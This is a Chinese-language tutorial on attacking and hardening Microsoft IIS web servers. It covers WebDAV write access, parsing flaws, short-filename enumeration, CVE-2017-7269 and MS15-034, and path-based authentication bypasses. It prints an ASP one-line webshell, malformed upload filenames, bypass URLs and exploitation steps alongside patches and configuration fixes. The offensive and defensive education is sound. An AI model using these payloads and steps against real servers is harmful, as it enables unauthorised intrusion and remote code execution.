IIS渗透
字数 2403 2025-08-10 08:28:13
IIS渗透技术全面解析与防御指南
一、IIS 6.X渗透技术
1. IIS写权限漏洞
漏洞原理:
- 由开启WebDAV引起的写权限漏洞,允许攻击者通过PUT方法上传任意文件
- 攻击者可上传恶意文件如ASP一句话木马
实操步骤:
- 确认目标服务器开启WebDAV和写入权限
- 使用PUT方法上传文本文件(如1.txt)包含ASP代码:
<%eval request("a001")%> - 在服务器上重命名文件为.asp扩展名(如shell.asp)
- 确保IIS开启ASP解析功能
- 使用蚁剑等工具连接木马
防御措施:
- 关闭WebDAV服务
- 关闭目录写入权限
- 限制上传文件类型
2. IIS解析漏洞
文件解析漏洞
原理:
- 畸形文件名如
*.asp;.xxx会被IIS当作ASP文件执行,忽略分号后内容
利用方法:
- 上传文件如
a001.asp;.jpg - IIS实际解析执行的是
a001.asp部分
目录解析漏洞
原理:
- 以
.asp命名的文件夹中的所有文件都会被当作ASP文件执行
利用方法:
- 创建
1.asp目录 - 将文本文件(含ASP代码)放入该目录
- 访问该目录下文件时会被当作ASP执行
防御措施:
- 禁止新建目录权限
- 上传文件强制重命名(时间戳+随机数+扩展名)
- 严格限制可执行目录
3. IIS短文件漏洞
漏洞原理:
- 攻击者可以利用
~字符猜解或遍历服务器中的文件名 - 产生条件:
- 后缀<4时:文件名前缀长度≥9
- 后缀≥4时:无前缀长度限制
检测方法:
- 使用工具如
tilde_enum或IIS-ShortName-Scanner - 支持HTTP方法:DEBUG、OPTIONS、GET、POST、HEAD、TRACE
修复建议:
- 关闭NTFS 8.3文件格式支持:
- Win2003:
fsutil behavior set disable8dot3 1 - Win2008:
fsutil 8dot3name set 1
- Win2003:
- 修改注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem- 设置
NtfsDisable8dot3NameCreation值为1
局限性:
- 文件名太短无法猜解
- 只能确定前6个字符
- 不支持中文文件名
4. RCE漏洞(CVE-2017-7269)
影响范围:
- Windows Server 2003 R2 + IIS6.0 + 开启WebDAV
漏洞原理:
- WebDAV服务中ScStoragePathFromUrl函数的缓冲区溢出
- 通过特制PROPFIND请求执行任意代码
复现步骤:
- 使用公开exp(如GitHub上的exploit.py)
- 修改目标IP和端口
- 执行后验证(如出现calc.exe进程)
MSF利用:
- 将.rb exp放入
/usr/share/metasploit-framework/modules/exploits/windows/iis/ - 使用模块:
use exploit/windows/iis/cve_2017_7269 - 可能需要调整PhysicalPathLength参数
防御措施:
- 关闭WebDAV服务
- 安装补丁KB4014661
- 使用防护设备
二、IIS7.x渗透技术
1. 解析漏洞
原理:
- Fast-CGI模式下,任意文件后加
/php会被解析为php文件 - 如:
a001.jpg/php会解析执行jpg中的PHP代码
复现条件:
- 需正确配置PHP-CGI
- 确保
cgi.fix_pathinfo=1(默认值)
防御措施:
- 设置
cgi.fix_pathinfo=0 - 重启php-cgi服务
2. HTTP.SYS远程代码执行(MS15-034)
影响范围:
- IIS7.5、IIS8.0、IIS8.5
- Windows Server 2008 R2/2012/2012 R2
- Windows 7/8/8.1
验证方法:
- 发送包含特殊Range头的请求:
Range: bytes=0-18446744073709551615 - 返回416状态码表示存在漏洞
修复建议:
- 安装补丁KB3042553
- 更新系统补丁
3. 认证绕过漏洞
三种绕过方式:
-
IIS6.0+PHP认证绕过:
- 访问路径:
/admin::$INDEX_ALLOCATION/index.php
- 访问路径:
-
IIS7.5经典ASP认证绕过:
- 访问路径:
/admin:$i30:$INDEX_ALLOCATION/index.asp
- 访问路径:
-
IIS7.5 .NET源代码泄露:
- 访问路径:
/admin:$i30:$INDEX_ALLOCATION/admin.php
- 访问路径:
防御措施:
- 严格验证输入路径
- 禁用不必要的HTTP方法
- 更新IIS补丁
4. 组合漏洞利用
场景:
- 目标限制上传和访问php文件
- 利用解析漏洞+认证绕过执行恶意代码
利用步骤:
- 上传aspx文件(含PHP代码)
- 通过认证绕过访问:
http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx - 添加解析后缀:
http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx/.php
三、通用防御建议
-
最小权限原则:
- 严格限制目录写入权限
- 禁用不必要的WebDAV服务
-
输入验证:
- 对所有用户输入进行严格过滤
- 禁止特殊字符和路径穿越
-
补丁管理:
- 及时安装IIS和Windows安全更新
- 定期检查已知漏洞修复情况
-
配置加固:
- 关闭不必要的HTTP方法
- 禁用NTFS 8.3短文件名
- 设置适当的MIME类型
-
监控审计:
- 记录异常访问日志
- 监控可疑文件上传行为
通过全面了解这些IIS漏洞原理和利用方式,安全人员可以更有针对性地进行防御部署,有效保护Web服务器安全。